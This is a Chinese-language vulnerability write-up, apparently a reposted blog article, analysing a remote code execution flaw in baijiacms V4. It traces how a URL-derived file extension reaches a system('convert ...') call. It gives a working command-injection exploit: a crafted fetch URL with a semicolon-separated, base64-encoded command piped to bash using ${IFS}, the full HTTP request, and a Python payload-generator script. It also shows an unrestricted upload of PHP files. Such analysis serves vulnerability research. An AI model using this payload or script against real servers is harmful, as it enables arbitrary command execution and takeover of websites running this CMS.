baijiacms漏洞分析
2023-2-15 18:22:0 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

1.环境搭建

发现CNVD有该CMS的漏洞并且还是⾼危的,但是不知道漏洞细节,于是想尝试⾃⼰分析⼀下
下载地址:https://github.com/baijiacms/baijiacmsV4
CNVD:https://www.cnvd.org.cn/flaw/show/CNVD-2023-00008
https://github.com/This-is-Y/baijiacms-RCE
baijiacms版本存在安全漏洞,该漏洞源于includes/baijiacms/common.inc.php存在远程代码
执⾏(RCE)
1.环境搭建
http://localhost:8888/baijiacms/install.php
使⽤PHP5.6.40
安装成功直接默认会
http://localhost:8888/baijiacms/index.php?mod=mobile&name=public&act=public&do=index



2.漏洞扫描

使⽤seay先扫描⼀下,这样先查看出来可能有⽤的漏洞点,但是发现漏洞点过余的细,不熟悉
系统架构的情况下,想直接分析起来太难,⾸先分析路由吧还是

3.路由分析
查看 index.php 中的内容,根据我们最开始访问的URL
http://localhost:8888/baijiacms/index.php?mod=mobile&act=public&do=index&beid=1

<?php
if(!file_exists(str_replace("\\",'/',
dirname(__FILE__)).'/config/install.link'))
{
//判断./config/install.link⽂件是否存在不存在的话就跳转到安装⽬录

if((empty($_REQUEST['act'])||!empty($_REQUEST['act'])&&$_REQUEST['act']!
='public'))
 {
 header("location:install.php");
 exit;
 }
}
if(defined('SYSTEM_ACT')&&SYSTEM_ACT=='mobile')
//这⾥⾸先并不会定义SYSTEM_ACT,所以不会进⼊if
{
 $mod='mobile';
}else
{
 if(!empty($_REQUEST['c']))
 {
//并没有c参数,不会进⼊if
 $mod=
(empty($_REQUEST['c'])||$_REQUEST['c']=='entry')?'mobile':$_REQUEST['c']
; 
 }else
 {
//mod参数不为空,并且传⼊的就是mobile,$mod的内容就是mobile
 $mod=empty($_REQUEST['mod'])?'mobile':$_REQUEST['mod'];
 }
}
if($mod=='mobile')
{
//全局定义了SYSTEM_ACT变量
 defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'mobile');
}else
{
 defined('SYSTEM_ACT') or define('SYSTEM_ACT', 'index');
}
if(empty($_REQUEST['do']))
{
$_GET['do']="shopindex";
}
 if(!empty($_REQUEST['act']))
{
//act参数的内容是public
$_GET['act']=$_REQUEST['act'];
}else
{
$_GET['act']="shopwap";
}
ob_start();
require 'includes/baijiacms.php';//包含⽂件
ob_end_flush();
exit;

可以看到引⼊了 baijiacms.php ⽂件,该⽂件定义了常⽤的全局变量以及对传⼊进来的参数
进⾏了预处理以及HTML实体化的操作

//code
define('SYSTEM_IN', true);
define('MAGIC_QUOTES_GPC', (function_exists('get_magic_quotes_gpc') &&
get_magic_quotes_gpc()) || @ini_get('magic_quotes_sybase'));
//获取到MAGIC_QUOTES_GPC的状态
//code
if(!session_id())
{
session_start();
header("Cache-control:private");
}
if(DEVELOPMENT) {
 ini_set('display_errors','1');
error_reporting(E_ALL ^ E_NOTICE);
 //error_reporting(E_ERROR | E_PARSE);
} else {
 error_reporting(0);
}
ob_start();
if(MAGIC_QUOTES_GPC) {
//如果开启了MAGIC_QUOTES_GPC,就进⼊该⽅法
 function stripslashes_deep($value){
//这⾥去除了addslashes() 函数添加的反斜杠
$value=is_array($value)?
array_map('stripslashes_deep',$value):stripslashes($value);
return $value;
 }
//将所有传⼊的参数都这么执⾏了⼀遍
$_POST=array_map('stripslashes_deep',$_POST);
$_GET=array_map('stripslashes_deep',$_GET);
$_COOKIE=array_map('stripslashes_deep',$_COOKIE);
$_REQUEST=array_map('stripslashes_deep',$_REQUEST);
}
$_GP = $_CMS = array();
$_GP = array_merge($_GET, $_POST, $_GP);
function irequestsplite($var) {
 if (is_array($var)) {
 foreach ($var as $key => $value) {
 $var[htmlspecialchars($key)] = irequestsplite($value);
 }
 } else {
 $var = str_replace('&amp;', '&', htmlspecialchars($var,
ENT_QUOTES));
 }
 return $var;
}
//进⾏HTML实体化处理
$_GP = irequestsplite($_GP);
if(empty($_GP['m']))
{
$modulename = $_GP['act'];
}else
{
 $modulename = $_GP['m'];
}
if(empty($_GP['do'])||empty($modulename))
{
 exit("do or act is null");
}
$pdo = $_CMS['pdo'] = null;
$_CMS['module']=$modulename;
$_CMS['beid']=$_GP['beid'];
if(!empty($_GP['isaddons']))
{
 $_CMS['isaddons']=true;
}
$bjconfigfile = WEB_ROOT."/config/config.php";
if(is_file($bjconfigfile))
{
require WEB_ROOT.'/includes/baijiacms/mysql.inc.php';
}
require WEB_ROOT.'/includes/baijiacms/common.inc.php';
require WEB_ROOT.'/includes/baijiacms/setting.inc.php';
require WEB_ROOT.'/includes/baijiacms/init.inc.php';
$_CMS[WEB_SESSION_ACCOUNT]=$_SESSION[WEB_SESSION_ACCOUNT];
require WEB_ROOT.'/includes/baijiacms/extends.inc.php';
require WEB_ROOT.'/includes/baijiacms/user.inc.php';
require WEB_ROOT.'/includes/baijiacms/auth.inc.php';
require WEB_ROOT.'/includes/baijiacms/weixin.inc.php';
require WEB_ROOT.'/includes/baijiacms/runner.inc.php';

根据cnvd的提示,找到⽂件 common.inc.php 中,迅速定位到 file_save() 函数中,654⾏

function
file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_rela
tive_path,$allownet=true)
{

 $settings=globaSystemSetting();

 if(!file_move($file_tmp_name, $file_full_path)) {
 return error(-1, '保存上传⽂件失败');
 }
 if(!empty($settings['image_compress_openscale']))
 {

 $scal=$settings['image_compress_scale'];
 $quality_command='';
 if(intval($scal)>0)
 {
 $quality_command=' -quality '.intval($scal);
 }
 system('convert'.$quality_command.' '.$file_full_path.'
'.$file_full_path);
 }

 //code

}

$file_full_path 参数是调⽤的时候传⼊的,查询⼀下是谁调⽤过本函数,找到⼀
处 system/weixin/class/web/setting.php ⽂件中的32⾏

研究⼀下什么时候才会调⽤到这⾥

http://localhost:8888/baijiacms/index.php?mod=wexin&act=web&do=index&beid=1

暂时停下来,重新看⼀下调⽤情况

同⽂件的 file_upload() 函数也会调⽤ file_save() 函数,查看何处调⽤ file_upload()
函数,找到 system/public/class/web/file.php ⽂件的28⾏调⽤

现在想访问到该函数

http://localhost:8888/baijiacms/index.php?mod=system&act=web&do=upload

这⾥⽣成的是随机的⽂件名,并不存在上传漏洞,并且会执⾏到 file_upload() ⽅法

function file_upload($file, $type = 'image') {
 if(empty($file)) {
 return error(-1, '没有上传内容');
 }
 $limit=5000;
 $extention = pathinfo($file['name'], PATHINFO_EXTENSION);
 $extention=strtolower($extention);
 if(empty($type)||$type=='image')
 {
//很明显这⾥做了⽩名单限制
 $extentions=array('gif', 'jpg', 'jpeg', 'png');
 }
 if($type=='music')
 {
 $extentions=array('mp3','wma','wav','amr','mp4');
 }
 if($type=='other')
 {
 $extentions=array('gif', 'jpg', 'jpeg',
'png','mp3','wma','wav','amr','mp4','doc');
 }
 if(!in_array(strtolower($extention), $extentions)) {
 return error(-1, '不允许上传此类⽂件');
 }
 if($limit * 1024 < filesize($file['tmp_name'])) {
 return error(-1, "上传的⽂件超过⼤⼩限制,请上传⼩于 ".$limit."k 的⽂件");
 }
 $path = '/attachment/';
 $extpath="{$extention}/" . date('Y/m/');
 mkdirs(WEB_ROOT . $path . $extpath);
 do {
 $filename = random(15) . ".{$extention}";
 } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
 $file_full_path = WEB_ROOT . $path . $extpath. $filename;
 $file_relative_path=$extpath. $filename;
 return
file_save($file['tmp_name'],$filename,$extention,$file_full_path,$file_r
elative_path);
}

这⾥不允许上传php⽂件

4.RCE分析
4.1 上传漏洞
于是找到 common.inc.php ⽂件中的613⾏的 fetch_net_file_upload 函数,同样也会调
⽤ file_save ⽅法

在system/public/class/web/file.php文件中第20行存在$file=fetch_net_file_upload($url);方法也会调用到file_save()方法,通过访问http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx接口就可以成功调用到该方法,在op选择fetch时可以调用到该方法

在第20行下断点,并发发送
http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami&status=1&beid=1
可以成功断到该处方法

进入到fetch_net_file_upload方法的时候只有一个参数就是$url,方法里的大部分代码是没有用处的,但是到了630行是一个关键代码
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
这里执行了一个file_put_contents()方法,第一个参数是要写入的文件,第二个参数写入的内容,可以看到第二个参数中又执行了file_get_contents($url)就是从我们传入的url中获取到内容,现在我传入的是http://127.0.0.1:9999/whoami,但是我本地并没有该文件,所以一定访问不到就进入了if判断,之后直接就return错误了,不会继续执行到file_save函数。图中显示错误

于是就可以开始一个服务并且让其中存在一个whoami文件,并且启动本机的9999端口,让程序可以访问到就可以不进入该if判断了

现在再试试,可以看到现在的信息不一样了

实际查看本地上传的文件确实也上传上去了

查看断点的时候确实也没有进入第一个if判断

于是现在就要跟进到file_save()方法中,只有$file_full_path参数是可以控制的

而该处的file_full_path是上一个方法传入进来的,可以查看一下该参数的构造

$url = trim($url);

$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');

  mkdirs(WEB_ROOT . $path . $extpath);
  do {
    $filename = random(15) . ".{$extention}";
  } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));

$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;

首先获取到$extection变量是通过pathinfo()获取的,目前我们传入的文件是whoami文件,拓展名是空

然后执行到$filename = random(15).".{$extention}";就是随机生成一个文件名并追加上刚才的后缀,于是我们现在的文件名就是

于是这里其实上传一个php文件是不会限制后缀名的

上传成功

这里还有一个思考,该开发只对file_upload方法做了限制fetch_net_file_upload却并没有做任何限制,可见代码写的不严格。

4.2 命令执行
找到上传漏洞并非本意,本意是想继续通过闭合直接构造RCE的,于是继续分析代码。

$url = trim($url);

$extention = pathinfo($url,PATHINFO_EXTENSION );
//这里该参数就是获取的.后边的所有内容最后拼接到file_full_path中
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');

  mkdirs(WEB_ROOT . $path . $extpath);
  do {
    $filename = random(15) . ".{$extention}";
  } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));

$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
  $result['message'] = '提取失败.';
  return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;//这里拼接好了之后会直接传入进行命令执行
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true){
  //code
  system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}

所以如果$extention变量中就存在;的话就会将后边的system()执行的内容分成两个命令去执行,尝试构造文件名为whoami.;ping -c 4 wk8imc.dnslog.cn,由于文件名中不能存在空格需要进行base64编码以及使用${IFS}来代替空格
原payload:whoami.;echo ping -c 4 www.baidu.com
处理之后payload:whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
将该base64后的结果通过管道符输入linux的base64指令中,得到结果之后再通过管道符输入bash指令中去执行。

tips:${IFS}在bash中可以作为空格的替代品

于是我们本地存在了该文件

启动服务之后发送请求
GET /baijiacms/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1:9999/whoami.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;&status=1&beid=1 HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=eb6b5f409ab739f91dc88c3278fbe855
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
确实执行了命令返回了输出结果

现在来进入代码调试一下,可以看到$extention变成了;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;,
果然截取了所有的.之后的内容作为后缀名。

继续跟进查看$file_full_path内容

/Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
以上内容中存在一个;就可以将之后执行命令的代码,分成两个命令。

其要执行的命令是如下的内容
convert -quality 100 /Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash; /Applications/MAMP/htdocs/baijiacms/attachment/;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;/2023/02/wYR5UQOPAzjEUT6.;echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;
该函数遇到;的时候就会去重新执行我们的echo${IFS}cGluZyAtYyA0IHd3dy5iYWlkdS5jb20=|base64${IFS}-d|bash;命令,从而造成RCE。

使用Github中脚本:
import base64

webpath = "/yourPath"
cmd = input("cmd>>> ")

b64cmd = base64.b64encode(cmd.encode()).decode()

payload = f"echo {b64cmd}|base64 -d|bash"

print(payload)
payload = payload.replace(' ','${IFS}')
print(payload)

name = input("name>>>")
payload = f"{name}.;{payload};"
print(payload)

with open(file=webpath+payload,mode='w')as f:
f.write('1')
成功RCE


文章来源: https://xz.aliyun.com/t/12167
如有侵权请联系:admin#unsafe.sh